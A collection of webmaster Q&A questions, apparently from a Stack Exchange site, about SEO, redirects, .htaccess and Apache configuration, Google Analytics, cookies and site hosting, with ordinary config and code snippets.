Should my URLs be lowercase?

According to this blog ("Understanding SEO Friendly URL Syntax Practices") I should change > http://example.com/Hello-Dolly To > http://example.com/hello-dolly The reasons given are: >   * URLs, in general, are case-sensitive >   * it will simplify any case sensitive SEO and analytics reports > According to this GIF that I found on Wikipedia's article on URL Normalization I should convert my URLs from any uppercase to all lowercase. ![](http://upload.wikimedia.org/wikipedia/commons/6/64/Normalization_URL_Animation.gif) However I use ASP.NET MVC4 and by default my URLs are structured like this (CamelCase): > http://www.domain.com/Controller/Action/Parameter > > http://www.greatsite.com/Categories/List/Bicycles I've skimmed through the RFC1738 but I didn't see any definitive answers to this. **Should I go out of my way to force the framework to change everything to lower case? Why did Microsoft choose to design their framework like this if everybody is telling me to use lowercase?**


Image gallery alt tags, for SEO?

I'm designin a web page for an architectural company, which lists its projects, with an image gallery, (not a slider) so all images are on the gallery page, but thumbnails. I have seen a website (high rank in google) which has done it like that:                               kinda spammy but it works I guess. So should I use the same keywords over and over, or should I seperate the keywords to images, and use more meaning tags? like this:                               which one is better? and why? Thanks !


How do I get a contact me tool something like Sky has (see details for more info)

How do I get a contact me tool something like Sky has? Sky has a tool where you select a topic, subtopic, etc. Click here to see this tool.


Why my subdomain has higher page rank than main domain?

What is the possible cause that make my subdomain to have higher page rank than my main domain? I can understand that subdomain and main domain are considered a different domain, but the main domain traffic has more traffic and more content while the subdomain only has 3% of the main traffic.   * Main domain: http://www.khmerload.com (Pagerank 2)   * Sub domain: http://music.khmerload.com (Pagerank 3)


Plotting two Event Labels in Google Analytics Dashboard

In the Dashboard of Google Analytics, it is possible to plot a graph of the number of events which belong to a specific category and have a specific label. So, for example, I have those two widgets on my Dashboard, showing me the number of total Events of Label A and Label B: ![Dasboard](http://i.stack.imgur.com/BWOuE.png) However, I would like to be able to see how Label A does compared to Label B, so it should plot those two graphs into one coordinate system. The “Top Events” view can do that almost, but it always shows the “Total Events” graph, which might be relatively large and therefore makes the coordinate system scale too large, making the other graphs too small to be good comparable: ![Top Events](http://i.stack.imgur.com/Oi9eq.png) Is it possible to achieve that on the Dasboard, and is it also possible to remove the "Total Events" graph from the last picture, only plotting specific labels? (Sorry, I needed to break up the image links since I have not enough reputation to post images, would be nice if someone could fix that, I think it is too difficult to explain it only with words)


.htaccess keeps being deleted from my root directory

I have a site built on the ModX Evo CMS. I have noticed that almost every day the .htaccess file is deleted meaning the FURLs no longer work. I have scanned for viruses and found nothing. Does anyone know what this means or what I can do?


How Google will treat my website if I make my home desktop PC as server to host my website?

My self is quite disappointed with hosting services we have in India, and looking forward to make my home desktop PC as server to make host my website (database and pages). So just wondering how Google or any search engine will treat my website as crawling, indexing and ranking point of view and what are the major pros and cons for that.


How to find excessively suppressed redirects in MediaWiki?

I'm a wiki editor and an adminstrator at a wiki shared to another people. Some of them use excessive suppressing for possible redirects for a reason that remains unknown to me. For instance, if there is a page FOO:               #REDIRECT [[BAR]]      they often may use:               [[FOO|BAR]]      I find it very excessive and really unnecessary. The only other result of this approach, as far as I can see, is suppressing the message "Redirected from FOO", which I find informative. How do I find all such suppressed redirects?


What does Enable/Disable mean in Bing's URL Normalization feature?

I'm in Bing Webmaster Tools, under Index > URL Normalization. Many parameters are listed in the table with 3 other columns: Status, Source, Date. The "Source" column says "Webmaster" where I have added parameters, and "Bing" where I assume the parameter has been auto-detected. "Date" is probably the last date it detected the parameter. ![bing parameters](http://i.stack.imgur.com/it3Bh.jpg) I've tried searching the help files but I can't find what the Status column means. The top of the page says: > This feature allows you to specify query parameters for Bing’s crawler to > ignore. But it's not clear whether "Enable" or "Disable" is related to this, and if so what happens in each case. Does anyone know?


Which browsers handle `Content-Encoding: gzip` and which of them has any special requirements on encodinq quality?

I am creating a "hand made" HTTP 1/0, 1/1 server. I recently integrated zip lib so now I can stream encoded gziped data in and out. I wonder Which major browsers (alive ones - IE6-IE10, Chrome, FF, etc) send `Accept-Encoding: deflate, gzip, ...` and so can handle `Content-Encoding: gzip` today? Which of them send any quality expectations? Which of them can send encoded gziped post request and multypart/form data to my server?


Split testing only for a traffic from a particular country

How to setup up split testing only for the user coming only from a particular country in Google Analytics experiment section? I want to show a different page for all traffic coming from USA and different page to user from UK.


Who Owns a Domain Name?

I have a friend (let's say his name is "Fred") who traded some services in exchange for someone (let's say his name is "Sam") to build him a website for his business. Rather than registering the domain name himself, Fred let Sam register the domain name and hosting space through SquareSpace. Now Sam is coming back to Fred saying the trade wasn't a fair one and is holding the domain name ransom. I'm assuming in this case Sam is the owner of the domain name, and not Fred. Is this a correct assumption? If so, is there any way Fred can get the domain name from Sam, short of waiting until it expires (Sam only registered it for a year) and hoping Sam doesn't register it again?


Should I always use HTML5 Microdata for SEO?

So I've been looking into this HTML 5 Microdata, but I'm not sure if or when it is appropriate to use. I know that if used with rating and you search a website it will pull up things like video rating and article ratings etc. But for Microdata like People or Places, is that so useful that I should start implementing it into all my websites - big and small? How big of an impact will this really have on my SEO if I start using Microdata on everything?


Determining if a visitor left your server

We have an Apache server running a PHP website. The site is an e-commerce shop. We currently use Barclays as the payment provider but are seeing a lot of customers drop out at the point at which we transfer them to the payment gateway (hosted with Barclays) I can see specific instances in the shop where orders have been created but not paid/failed but I need to ascertain if the user has definitely left our server (or just failed to reach Barclays). Is there anything in any of the server/access logs that states when a user transferred to a different domain? **Update** When the user clicks on 'Pay now' they are sent to a gateway transfer page which builds a hidden form of the shopping cart details and submits the form (using JS) to Barclays. How do I check the gateway is there before I send them?


Big traffic change for top URL

My site was stable doing fine for last 2 years, but just 2 weeks back it's traffic dropped all of sudden by 35-50%. After 4-5 days of this I received this message(below after --- line) from GWT. For the last week I've been trying to figure out the problem but to no avail. I've checked for malware etc but nothing found. I understand something abnormal has caused Google to send me this notification, which isn't due to any algorithmic updates. Any guess what could be the reason? In my shared account other sites have been stable. ![enter image description here](http://i.stack.imgur.com/Ec5dc.jpg) * * * # GWT Notification http://goo.gl/oV9l9 : Big traffic change for top URL Search results clicks for http://goo.gl/EMASI have decreased significantly. The number of clicks that your site receives from Google can change from day to day for a variety of factors, including automatic algorithm updates. However, if you have recently made significant changes to the content or configuration of your site, this change may be an indication that there are problems. Recommended action               Check the Search Queries page in Webmaster Tools     Investigate whether the traffic change affects the whole site or just a few pages. Configuration changes are likely to affect the whole site     Some content is popular only for a short window of time. If the change in traffic affects only this kind of content this message may not be indicative of any problem


Best to archive a website for scholarly purposes?

A non-profit is going through a major website renovation. It's a large website, with about 3,000 pages. These was done using HTML, CSS, JPGs and lots of Adobe PDFs. This was designed long before modern CMS systems became popular. Their new website is going to be small because they don't want to convert all the old content, but would prefer to archive it for future use by scholars. They don't want to continue to host the old web pages, so the question came up how to archive the content of the old 3,000 page website, but so it would still be accessible for scholars. Wget method: One suggestion is to create a DVR-ROM of the content. With this method, I was thinking of using Linux 'wget' command to suck down all the pages, and end up with it still being accessible like the old hosted website, but it would run entirely off the DVD-ROM. A DVR-ROM was suggested so they could charge a small fee for the DVD-ROM and wouldn't have to host it. It's also possible that instead of the DVR-ROM, the entire contents could be a .zip file and charge a small fee to download it. If this sounds workable, what's the best wget options to use to suck down an entire website so it can be run as a sort of Kiosk that's self contained, where the user would only need a web browser for this to work. I fully realize in years to come, modern computers might not support web browsers as they are used today, but that would be the job for the next archive project to convert this content into some other format or database that makes sense. So please refrain from a debate about archive formats for the next 100 years. :-) What would be the best method of using wget to achieve the objective? Or is there another method that's better to archive the old website so it's still accessible? Thanks!


Google not indexing my Mediawiki's jpg files description pages

My website es.wikineos.com has been running for a few years with the MediaWiki Content Management System like the one they use at Wikipedia. Google seems to be indexing my site correctly at a quick glance but after investigating further I have discovered that Google is not indexing URLS ending with image based file extensions such as `jpg`, `png` and `gif` etc. MediaWiki creates file description pages with the following format: `domain.com/wiki/Archivo:\\*.\\*name.description` Which will look something like: `domain.com/wiki/Archivo:image.jpg` The site does not have any metas with with `no-index` nor does it have any blocked URLS in the `robots.txt` file. Google Webmaster Tools does not report any errors and this seems to be only happening on image based URLS. Google is also indexing SVG and PDF files correctly. If you Google: site:http://es.wikineos.com + url:jpg vs site:en.wikipedia.org + url:jpg you can clearly see that my site is not indexing jpegs while WikiPedia is. How can I get Google to index these urls.


Why does my site only work with a www in the URL?

I'm a bit confused as the following points:   1. There is a simple text website, with no javascript, that works only with the prefix. `http://www.mysite.corporation.com` works but `http//mysite.corporation.com` will not work. What could be going on?   2. I run a few LAMP vps' and don't recall ever having trouble with the leading www   3. Why do people write URLs with a www. Is there some history behind this?


I have a video streaming site with a paywall. How do I track users that have been referred by an affiliate?

What I would like to do is track if a user has been referred to my website. If the incoming user purchases something I would like to share revenue with the affiliate. I'm not sure what the common ways people do this. I can put a new user form on the affiliate website and then track each new user that form creates. This creates a problem of people who don't create a new user account but come to the website through a link. How do I manage this?


Home page at /home-page-name instead of /

I was wondering if having your home page at               http://domain.com/home-page-name       instead of just:               http://domain.com/      would affect SEO? Not only that, but if users go to `domain.com` they are redirected to `domain.com/home-page-name` within the PHP application. So I just was wondering if any of that hindered or greatly hindered SEO (namely, Google ranking)? And if so, why?


Seo Fake backlinking from other sites

The title might be a little bit confusing. Well, I noticed that someone had used a page's URL for backlinking or indexing his keywords. This is what he did: The normal url:               http:// .....Default.aspx      He edited the normal url to:                http:// ..... Default.aspx?places-to-buy-wedding-dresses      So Now (what I think) the person have been making backlinks for the edited url. So when I search for the actual site. Then the edited url shows up in google. (also the normal url, with a description of the edited url.) So the edited url doesn't actually exist. It's just created as Default.aspx?.. Any explanations? This didn't happened to my site, just noticed it in another site. How can I do avoid this happening to my site?


Embedded ratings widget or addon for putting ratings/reviews on our web site?

I need to integrate a product rating and review feature into my company's product pages. Rather than build one from scratch, I am exploring the options available for third party products, such as powerreviews.com. _(Our site users will provide all of the ratings and reviews. We do not need to buy reviews)._ Ideally, I am looking for something like Disqus where I simply accepted the default values in the administrator and added a couple of lines in my site and voila, I had an awesome comments section to each page of my web site. What are the options to add product ratings and reviews to our site?


Are subdomains (for mobile-specific pages or localization) bad for SEO?

You have a website: **http://www.mysite.com** You want to serve up mobile-optimized pages for mobile devices. I've seen a lot of companies redirect mobile devices to this type of subdomain:               http://m.mysite.com      Also, I've seen a lot of companies use subdomains for localization:               http://en.mysite.com     http://it.mysite.com (Italian)     http://de.mysite.com (Deutsch)     http://es.mysite.com (Espanol)     etc...      A obvious site that does this is http://www.wikipedia.org Anyways, my question: Is using subdomains like this bad for SEO because of the potential for duplicate content between the sites or other SEO reasons? I've seen a LOT of companies do this, but I've also read that it's not a good practice.


How does 301 redirection work across the network? & should I use it if there is a chance we made need to change the resource back to the original URL?

I've built a CMS that makes it fairly easy for my client to relocate pages in their site hierarchy. This site has all human-readable and intuitive URLs, so moving a page necessarily means that its URL changes. I am storing records of each resource's past URLs in the data store so that requests for bygone URLs are re-routed to their appropriate successors. I'm warning my clients not to re-arrange the site willy-nilly (for numerous reasons). But nevertheless I suspect there's a chance page moves could get reversed from time to time. So I'm trying to figure out whether 301 or 302 or 307 redirects should be used when serving up pages to requests for out-of-date URLs. I understand the value of using 301 for search engine optimization. But my concern is with this system possibly inadvertently making some pages unavailable to some users **QUESTIONS:**   1. That is, if the clients move a page at location/URL A to a new location B, then users get the redirect for A to B, and then the clients move the page back to A again, how long can I expect any of those users to keep getting their requests for A redirected to B -- in this case sending them to my friendly 404 page?   2. Is it until an item in their browser history is cleared?   3. Is the redirect somehow cached in routers throughout the internet?   4. How does this work?   5. How long can I expect the 301 redirect to linger _out there_ ?


Legal responsibility of public posts

Given a public site with no logins: I let people post links to public Facebook profiles, and my site fetches the profile picture and displays it. Would it be ok if I just told people to post profiles of which they had the owner’s permission? Does such a statement exonerate me from copyright infringements and place the burden on the user? **Edit:** For bonus points. Can the statement just be a notice under the button (that will save the link) that says that "By clicking this button you agree to the terms and conditions" with maybe a link to the terms and conditions.


Redirect for special characters

I want to set a redirect as below. `http://www.domain.com/course/view.php?id=2` **TO** `http://www.domain.com/course/view.php?id=2&section=1` Can you please let me know how can this be set ?


Robot.txt can get all soft404s fixed?

I got many soft404 in Google webmaster Tools, and those webpages aren't existing any more. thus I am unable to insert `<meta name="robots" content="noindex, nofollow">` into my pages, and I've been searching a while but didn't get some valuable clues. There are about 100 URLs are soft 404, to redirect them all one by one is a bit silly as it would cost too much time for me. If i just add those links into robot.txt like below               User-agent: *     Disallow: /mysite.asp     Disallow: /mysite-more.html      if this way will fix all soft404s solidly? or if there is a way to change all soft404 to hard404? Please give me some suggestions. Many thanks


For SEO, is a 301 or 302 redirect better for affiliate links? Are there any benefits/drawbacks for either? PriceGrabber uses 301 Shopzilla uses 302 Nextag uses 302


Avoiding increases in 404 errors after massive URL deletion

We have a relatively new website (no external links, PR0, DA17) and we are making a major change in content. On the one hand we have to incorporate new content and otherwise eliminate much old content. When we finally make this change, for several reasons, more than 100,000 URLs will give a `404` error. The main reason is that the URL pattern of products will change from something like `example.com/1871-producto1/` to `example.com/producto1/` **How would you recommend to proceed in order to minimize page not found errors?** In most cases, we will do a `301` redirect. But we do not want to abuse these redirects. So far we are blocking `404` pages using `robots.txt` and manually de-indexing many from Webmaster tools, as explained by Google here. **Would you launch the site with this big amount of 404 errors, hoping that they will gradually disappear, or would you clean them in any other way?**


Privacy policy and terms of use language

I have a Czech registered business with which I'm serving a web app mostly (but not exclusively) targeted to Italian customers. The server is in Amsterdam. The site will be multilingual (with 4 languages supported) but for now it's Italian only. What language should the privacy policy and terms and conditions be? What law should they refer to? Could I just offer these two docs in English? (Easier to write and to maintain)


Am I able to hide 'Submitted' curve in Crawl > Sitemaps section?

I'd like to view 'Indexed' curve more detailed. But the 'Submitted' curve is several orders higher (500 000 vs 300) than 'Indexed'. So I'm mot able to see any details on the 'Indexed' curve :( Am I able to hide 'Submitted' curve? Or change the vertical scale manually?


Several audio tracks with a flash video

I have videos in different formats (wma, mkv) with several audio tracks (one by language). I would like to make these videos available in streaming for video-on-demand. One told me that the flash video format cannot handle more than one audio track. If this is true, what are my options to provide these videos ? I have two probably working ideas and one for which I'm not sure because of flash players capabilities. The first idea is to create for each mkv, N flash videos, one for each sound track. This is probably easy to do with ffmpeg for example. This solution has the advantage of simplicity but requires much more storage, since the video part will be stored several times. The second solution would be to dynamically generate the flash video with the desired language once the customer has paid for it. I think this would be very tricky to implement correctly. It may also not be fast enough to do the conversion. So I probably forget this one. The third solution would be perfect but I don't know if it is possible at all. It consists on spliting audio and video apart and let the flash player mix the correct audio track with the video on the customer computer. I have no idea wether this is possible with adobe flash, nor if there are existing implementations. What do you think about the third option ? Do you have better suggestions ? Thanks !


Use Google Apps mail with website on a separate web host

We've bought a domain through the free Google Apps service and use the Gmail account provided. I'm thinking of hosting our own site on a separate web host, but emails sent to our domain might be directed to our web host. Is there a way to continue using Gmail while the domain points to the web host? I've never dealt with domain names and web hosts before, nor am I experienced with web development (will use a CMS).


Google alternative to Schema.org’s LimitedAvailability

We've recently been trying to implement schema.org more fully on our e-commerce site (and gotten nothing but headaches). We often allow customers to place an online order for backordered products, especially if we know they'll be back in stock soon. To accommodate this we're using an availability of LimitedAvailability and the availabilityStarts property. Here's a sample from the site:

Availability: Backordered Until 07-07-2014
              <link itemprop="availability" href="http://schema.org/LimitedAvailability">         <meta content="2014-07-07T00:00:00+00:00" itemprop="availabilityStarts">
      The problem is our Google Merchant Center is complaining of "Invalid microdata for availability information on product landing page" and flagging the LimitedAvailability value as invalid. What are my alternatives short of just not using schema markup on these products? None of the other ItemAvailability values really fit the bill. Has anyone else dealt with this inconsistency?


How to avoid basic authentication warning when using protected directory?

I used cpanel on my hosted site to set up a password protected directory to allow downloads of specific files. I send people a link to the file by email and include their username and password so they can authenticate and download the file. When people use IE there is a warning message: _Warning this server is requesting your username and password be sent in an insecure manner..._ This server is Apache. How can I stop this messsage appearing? Will SSL stop it? I would prefer to not have to use SSL.


Should a site that has been hit by Google Penguin penalties update content or create new?

Some time back we created tutorials on a test tool Quality Center which now needs upgrading. Currently the tool has been renamed to **HP ALM**. Our dilemma is whether we should create new pages for the new tutorials or update the existing tutorials itself? To add to our pain, most of the end users still refer the new **ALM** with its old name **Quality Center**. Also we here hit by Penguin 2.1 and since then have been very precautions from SEO standpoint.


Apache http.conf allow intranet

what would be the correct config to allow only authenticated users and the intranet (without need for a password) in apache? This does not request a password and without the "satisfy any" intranet users are also required to enter a password...               <Directory "/var/www">     #   Allow Network Access and/or Basic Auth     Satisfy any          allow from 192.168          AuthName "Enter passwd!"     require valid-user     AuthUserFile /var/.passwd     AuthType Basic     allow from all     order deny,allow     </Directory>


Flash intro or embedded video?

So a client of mine wants his homepage to start off something like this: http://www.roche-bobois.com/#/en-CA/home (It's basically a Flash intro that starts with a vector drawing of a furniture showroom that eventually transitions into the image of the actual showroom). Given that some of his users will be using an iPad to view his site, what are some of the alternatives that other developers here use? I'm thinking: Option 1: With PHP, detect if the user is using an iPad/iPhone by checking their user agent string. If they are using a mobile device, then forward to m.abccompany.com (mobile version of the site). Option 2: Convert the Flash video to MP4 or AVI and then embed that, which would allow all users to view his site. Any suggestions if either of these approaches are a good idea?


My site needs help with Google Structured Data Testing Tool

I have a site and these days Google is not searching my images. When I open Google Webmaster Tools, I see thousands of errors in my images list. Here is an example link. If I put it in the Google Structured Data Testing Tool, I get errors like:               Missing: author     Missing: entry-title     Missing: updated      I think I did everything right, which I found help for on the Internet. Again and again it's showing me the same errors, but I'm not sure Google is taking the time to check this thing - I mean should I wait either a week or a month, or maybe I did something wrong. Please let me know if I did something wrong, or just have to wait for Google.


Google Analytics: Issue with cross domain tracking

I am facing a very strange issue. My website is `http://www.example.com` (1) and order page is `https://order.example.com` (2). When ever my user switch from (1) to (2), it creates problem and my transaction is assigned to (2) and comes in referral from (1). I have used cross domain tracking. Assuming the issue is because of HTTPS but I'm not sure.


Tracking dynamic events in Google Analytics?

I'm trying to implement dynamic events in my platform to trackearlos. My question is: **For generating these events and who are trackeados in Google Analytics to put the push of the "onclick" to do something else?** I put this in my links:               Play        That alone should of tracked at me in Google Analytics. I'm in the category VIDEOS PLAY action is and the name is BABY'S FIRST BIRTHDAY not? Or do I have to do something else? The idea is that it will automatically put those goals in google analytics or do I need from Google Analytics in panel enlist hand sequence each event / goal?


Griefing to steal pagerank off my website?

I was looking today in my Google Webmaster tools for my website and see duplicate titles for the following pages on my website (small sample out of many on my site index):               /?title=3_Misconceptions_Regarding_Traumatic_Human_brain_Injury365     /?title=3_or_more_Misguided_beliefs_Pertaining_to_Disturbing_Head_Incidents2902384     /?title=A_Listing_Of_Successful_Web_Marketing_Tips_For_EveryoneHelpful_Online_Marketing_Methods_For_Easy_Success     /?title=Adhere_to_This_kind_of_Online_marketing_Guidance_To_develop_Your_Business      These are certainly not pages I have created! I also had a look at my structured data which I have created on my site and I can see this (small sample out of many):               Structured Data > __sid=11 (Markup: kualalumpur.yalwa.my)     Structured Data > __sid=7 (Markup: www.locanto.cn)      None of this is the result of something I have done. It's obviously some sort of griefing or elaborate plan to steal pagerank. Yesterday I installed php automated 301 redirects and canonicals on all my pages to try to firm this up (thanks to some wonderful help from stack overflow people). But I'd like to understand more about this and what their objective is.


Moving from root to www

I've read tons of questions but I can't find the answer to this seemingly obvious issue. I'm moving my WordPress site from `domain.com` to `www.domain.com` so that I can use CloudFlare. I did the change in WP and everything works fine, with `domain.com` redirecting correctly. Do I need to add the `www` site in GWT (and remove `domain.com`) or will it keep tracking the website correctly thanks to the redirections?


Using a front controller design pattern doesn't allow images to be served

I am currently using a front controller. All requests for my website go through it. I have a problem with image links like:               <img src="img/image.jpg" />      Then my front controller will try to dispatch the request to: _application/controller/ImgController.php_. Then the image won't load. I think it has something to do with the _.htaccess_ file:               RewriteEngine On     RewriteCond %{REQUEST_FILENAME} -s [OR]     RewriteCond %{REQUEST_FILENAME} -l [OR]     RewriteCond %{REQUEST_FILENAME} -d     RewriteRule ^.*$ - [NC,L]     RewriteRule ^.*$ index.php [NC,L]


How to publish/transfer a completed website with database from one server to another server? I have been creating .net website with mssql database (with an inbuilt online text editor for live editing of the website from my clients), how do I completely transfer the entire website from my server folder. **i.e mywebsite.com/demo/index.aspx to >>> client.com/index.aspx** Any easy way to do it?


Bing "Search within" Bar in Results

Bing has started showing a "Search within xyz.com" bar for some searches. This appears in the organic listings and not ads (like Google has). ![Bing Search Bar](http://i.stack.imgur.com/9C49j.png) This has recently started showing for one of my clients but lands on the wrong page internally when used. I've searched for instructions on how to control this but to no avail. How can we make sure users end up landing on a page of results for the search terms entered into this box? How can we get this to appear for other clients' sites?


Google shows my tumblr blog with original URL instead of custom domain

I'm new to domains and related stuff, I recently bought a custom domain for my tumblr blog, however when I google it, the original tumblr address shows up (jonathanwiesel.tumblr.com) not my custom domain (jonathanwiesel.com) any recommendations please?


Image disappearing on reload in Safari and Chrome

I created a website for a client as seen here: http://einzigartig-reisen.com/ Notice the clock icon in the right sidebar. Works fine on first load. Now reload the page (by pressing F5 or the reload icon) and in all Webkit Browsers that I tested (i.e. Safari on Windows and Mac plus Google Chrome) the clock icon will be gone. Why the hell is that? It ONLY happens on a reload of the same page, it does NOT happen when you navigate between pages and it does NOT happen in other browsers!?


Single page website. Redirect to home page if 404 error

I have singe page website. So I have just only single page - home page. If some one types `www.mysite.com/anything` into their address bar and I redirect to `home page` is this bad for SEO? It is probably better to have separate `404` page but I am just wondering because single page sites are by their nature not perfect for SEO. Maybe if I redirect to the home page on `404` I would damage it's rankings?


.htaccess is not working in vps hosting

what is solution to create a .htaccess file in vps. I have tried most of the .htaccess file.but it doesnt work in vps. What is the solution? here is the code of htaccess file.               RewriteEngine on     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule .* index.php/$0 [PT,L]      this is not working in vps.


Values for saved data and saved requests much lower in CloudFlare analytics for several months

For several months now the pie charts in my CloudFlare analytics show a much smaller value for the saved data and saved requests (around 5%). Before this the pie charts showed a saving of around 50% since I was using CloudFlare (2013). Do you also see this change and can confirm this? Nothing was changed on the server-side and all my domains are affected.


administering new website - Found really tiny keywords inside page

I'm administering this new website. The previous web admin included a large amount of tiny keywords on top of some of its pages. I've removed them already. I need to know if I have to rest the domain with google webmaster or will google notice the change and take action? thanks in advance. edit: They are not meta keyword. They are literally text so small that it looks like a fine line of gibberish on the page itself. This clearly violates google guidelines. My point was more: Do I need to tell google that we are not bad pupils anymore.


How would I setup Mercurial to track site revisions on a shared host?

What specific steps to I need to take to set it up? Do I need special post-commit hooks to update the remote copy of the site? Do I need SSH access to the remote server? I'm looking for a setup where I can push the changes to the remote repository and the changes will be published to the website.


Is an animated favicon.ico a bad idea? Are there cool uses of animated favicon.ico out there?

Whenever I generate a `favicon.ico` using html-kit.com, it gives me the option to get an animated version. I've never used an animated favicon, but other than it being "visually noisy" is there any reason it's a bad idea? Are there any creative or interesting usages of an animated favicon out there? **EDIT** To be clear, the animated version html-kit gives you is a GIF, which you can point to using a meta tag. _Sorry for implying favicon.ico image format supports animation!_


PHP header redirect that maintains query parameters?

I am experimenting with the PHP redirect http://www.phpjunkyard.com/tutorials/php-redirect.php. Specifically the 301 redirect to create a self correcting URL to help with typos - there's a unique ID in the URL as well that needs to be correct for it to work. Can I still allow for analytics tracking parameters e.g. `tracking=yes` ? Currently the rewrite strips this out.


Please help how to undo 301 on blog?

I have a landing page on example.com and then a blog at example.com/blog. I noticed I have very little traffic on the blog even though it has 45 posts. I went to Bing Webmaster Tools and found this 301 message "moved permanently" on H1 and title tags which I want to remove. My landing page looks perfect for title and H1 tags and the meta name on the landing page is perfect also. How can I get this on my blog too? Am I right in thinking this is why I have so little traffic?


Open source package that SUPPORTS all 3 major checkouts out of the box

Can you recommend an open source package that **supports** all 3 major checkouts out of the box? By 3 major checkouts I mean:   1. PayPal Express   2. Amazon Payments   3. Google Checkout Zen-Cart, for example, is great with PayPal, but it is a nightmare to setup and test with Google Checkout. Does Joomla support all 3 major checkouts out of the box?


How would I go about migrating to HTML5 without alienating the majority of my user audience?

I'd really like to implement some of the new features that come standard with HTML5 but I want to be able to do it in a way that doesn't break my site. I know that Progressive Enhancement and checking the useragent is always an option. Are there any better alternatives out there?


how to setup a webhosting site?

I have purchased a cPanel/WHM web hosting reseller account and I want to set up a site for people to set up a hosting accounts. I also would like to have a domain name registration system on the site, so people can register the domain name they would like to host with me. How can I do this? Are there any ready- made scripts available or should I create my own script using the WHM API? Thanks a lot.


What URL should I use for my blog archives?

I'm starting a new blog and I have the ability to publish my archives (old post urls that will receive most of my search traffic) anywhere I choose without any repercussions. I've been taking some time to think about where to publish my archives, which will be dashified versions of post titles (i.e. `my-post-about-topic-x.html`) and my choices are to publish in the root (`blogurl.com/my-post.html`), in some subdirectory (`blogurl.com/archive/my- post.html`) or some other option I haven't thought of. I'm focusing on _simplicity_ so I like the first option (no subdirectory) but that requires that I reserve certain names for other templates (such as a list of all old posts at archive.html). However, not reserving any file names also has its benefits in simplicity. What are some other pros and cons of archive urls that I've listed? I'd be interested in any other archive urls you may think of as well.


Where can I find good web hosting reviews?

I'm trying to choose a new hosting service for a WordPress blog, I've stumbled upon several services and most of them look good, so I was trying to find reviews from current user to see what they have to say, is there any website where I can find people's thoughts on the different web hosting companies / services?.


Telling Google that domain.com and domain.us points to the same site

1. Tell me how should I let Google Webmaster Tools and Google Analytics know that the site has more than one domain?   2. Does having more than one domain, corrupt SEO?


What are the problems of httponly and secure cookies?

We would like to set:   1. all our cookies (session id, etc.) as "httponly"   2. all security (session token, "remember me", etc.) cookies as "secure" Except compatiblity issues, what are the know problems to use httponly and secure cookies? Does Google bot support/like them? Are there some blocking issues/bugs with some browsers? I have seen well known websites not using "httponly" and "secure" for important cookies. Negligence? Technical reason? Note 1: the question is not related to security. We know why we need to set "httponly" and/or "secure". But as some well known websites not using `https` do not set these 2 attributes on sensitive cookies, we were trying to understand which reason is more important than security (compatibility, bug, SEO, etc).


How to improve google search index status for my domain?

I have a robots.txt for my google-hosted (gae) webapp with the following contents               User-agent:      * Disallow:      I also have a sitemap.xml.gz (currently 49.3 kB) that is generated by a python function.               class SiteMap(webapp2.RequestHandler):         def get(self):             days = 60             url = (os.environ['HTTP_HOST'] if os.environ.get('HTTP_HOST'             ) else os.environ['SERVER_NAME'])             i = \                 '<?xml version="1.0" encoding="UTF-8"?><urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" >'             for ad in \                     Ad.gql('where published = True and modified >:1 order by modified desc'                             , datetime.now() - timedelta(days=days)):                 i = \                     '%s<url><loc>http://%s/vi/%d.html</loc><lastmod>%s</lastmod><changefreq>daily</changefreq><priority>0.8</priority></url>' \                     % (i, url, ad.key().id(),                        #filters.slugify(ad.title),                        ad.modified.date())             i = '%s</urlset>' % i             self.response.headers['Content-Type'] = 'gzip'             self.response.headers['Content-Length'] = str(len(i))             self.response.out.write(compressBuf(i))      GWT says there are "no maual actions needed for junk removal" for the content but still I think that it doesn't index as much as it should looking at the graph for what's indexed and why the drops? ![enter image description here](http://i.stack.imgur.com/B0emK.png) Can you tell me why the index fluctuates the way it does on the graph and if there is something I can do to improve PR and/or search index status? I don't target any spec keywords but I just want google to index everything.


SEO for image handler

I have handler, which have URL like this `/imgrs.axd?w=300&file=2ce5a421-d71a-4dba-9d54-3103058e15b2.jpg`, where   * `w` is width for image   * `file` is filename Server's answer:               Cache-Control   public     Content-Length  9788     Content-Type    image/jpeg     Date    Sun, 05 Jan 2014 10:24:41 GMT     Expires Sun, 12 Jan 2014 10:24:42 GMT     Server  Microsoft-IIS/7.5     X-AspNet-Version    4.0.30319     X-Powered-By    ASP.NET      But Google doesn't want to append these images in its index base. How can I improve accessibility these images for Google?


Wordpress plugin installation error

I'm trying to upload secure-wordpress.1.0.6, and I receive the following error: > Warning: touch() [function.touch]: open_basedir restriction in effect. > File(/abs_path/wordpress/tmp/secure-wordpress.tmp) is not within the allowed > path(s): (/abs_path/:/abs_path/:/usr/local/lib/php:/tmp/php_upload) in > /abs_path/public/www/wordpress/wp-admin/includes/file.php on line 199 > > Download failed. Could not create Temporary file. The /wp-content folder and all it's subfolders have 777 permission. I've added the following two lines to wp-config.php: putenv('TMPDIR='.ini_get('upload_tmp_dir') ); define('WP_TEMP_DIR', ABSPATH .'wp-content/uploads/'); What else should I try? I am using Wordpress 3.04 in a PHP 4.49 environment.


What's the purpose of index.html

If I maintain www.example.com, does accessing it mean I would open index.html in its root directory?


A "tracking pixel" through Google Analytics on a page not on a website

Question for you - I have a website, and we're sending people off to a checkout, which is on another server and domain. We have GA installed on our website, and would like to (if possible) also add a tracking pixel to the confirmation page at the end of the checkout process, which is, of course, the last page in the process. I cannot add GA to the checkout website, but only to the checkout page, and only in the form of HTML/CSS/JS. My question is, can I set this up or should I use a different type of service?


Moving a domain and staging url

I have a website with web hosting I am planning on switching away from (Windows Server). So I got a hosting plan with a linux server and I was going to build a site there using Perch CMS. Right now I have a temporary domain (minus a real domain name) at http://gator1784.hostgator.com/~elaine/perch/ However Perch does not recommend using a temporary domain with a tilde (~elaine), what should I do? What are my options? I would just like to build this site on the new server and not have too many issues when I switch the domain over. The current website has to remain live for now (on the other server which is windows) while I build the current site on a linux server.


Does including the site name in a link help me to get more pages indexed?

I have my links set up like this:                          the abc.com is repeated many times. What I would like to know is if I need include this at all. How about if I code the links as:                          Would a search engine consider these the same as the links with abc.com?


Ideal cache times for browser caching times for different file types?

I am trying to improve my site's performance - and that includes caching. I found some great caching via .htaccess from the boilerplate html5 template - but the cache times seem odd. Does anyone have ideal or preferred caching times for their php/html, js, css, and image files?


Does Google offer reporting on use of the "Block all ... results" feature?

Does Google offer a way to report on how many people actually blocked results from my site from showing up in their results? This question describes the behavior I'm asking about. I understand _why_ its there, I want to know if I can get a report on it.


When and when not to use a CDN

